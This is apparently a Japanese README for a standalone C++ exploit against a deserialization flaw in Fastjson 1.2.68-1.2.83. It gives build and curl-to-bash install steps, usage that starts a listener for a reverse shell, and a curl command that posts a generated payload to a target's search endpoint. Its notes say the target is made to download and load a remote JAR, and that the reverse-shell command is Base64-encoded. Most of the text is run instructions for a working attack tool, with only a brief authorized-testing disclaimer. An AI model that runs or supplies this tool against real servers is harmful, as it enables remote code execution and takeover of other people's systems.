CVE-2026-16723 エクスプロイト

CVE-2026-16723 用のスタンドアロンC++17実装です。これは Fastjson バージョン 1.2.68～1.2.83 に影響する深刻な脆弱性です。

必要条件

• Linux（または Windows 上の WSL）

• C++17 対応コンパイラ（GCC 7+ または Clang 5+）

• CMake 3.10 以降

• システムパッケージ:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

インストール

クイックインストール（推奨）

次の1コマンドですべてをインストールします:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

または手動でインストーラをダウンロードして実行します:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

インストールスクリプトは次のことを行います:

• 必要なシステムパッケージをすべてインストールします。

• 必要なヘッダオンリーライブラリをダウンロードします:

  • nlohmann/json
  • cpp-httplib

• プロジェクトをビルドします。

• コンパイルされたバイナリをカレントディレクトリに次の名前で配置します:

./exploit

手動ビルド

リポジトリをクローンした場合:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

または手動でビルドします:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

使い方

バイナリを実行します:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

例

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

実行後、次のファイルが作成されます:

x
body.json

HTTPサーバーは設定されたポート（デフォルト: 8000）で起動し、ツールはリバースシェル接続が来るのを待機します。

ペイロードの送信

生成された body.json ファイルを脆弱なエンドポイントに送信します:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

アプリケーションが別のJSONフィールドを期待する場合は、--field オプションで指定してください。

コマンドラインオプション

出力ファイル

注意事項

• このプロジェクトは認可されたセキュリティテストおよび教育目的のみを意図しています。
• この実装は、ターゲットアプリケーションに jar:http および jar:file プロトコルを使用してリモートJARをダウンロードおよびロードさせます。
• リバースシェルコマンドはエスケープの問題を減らすためにBase64でエンコードされています。

Twitter(X)でフォローしてください

• MNM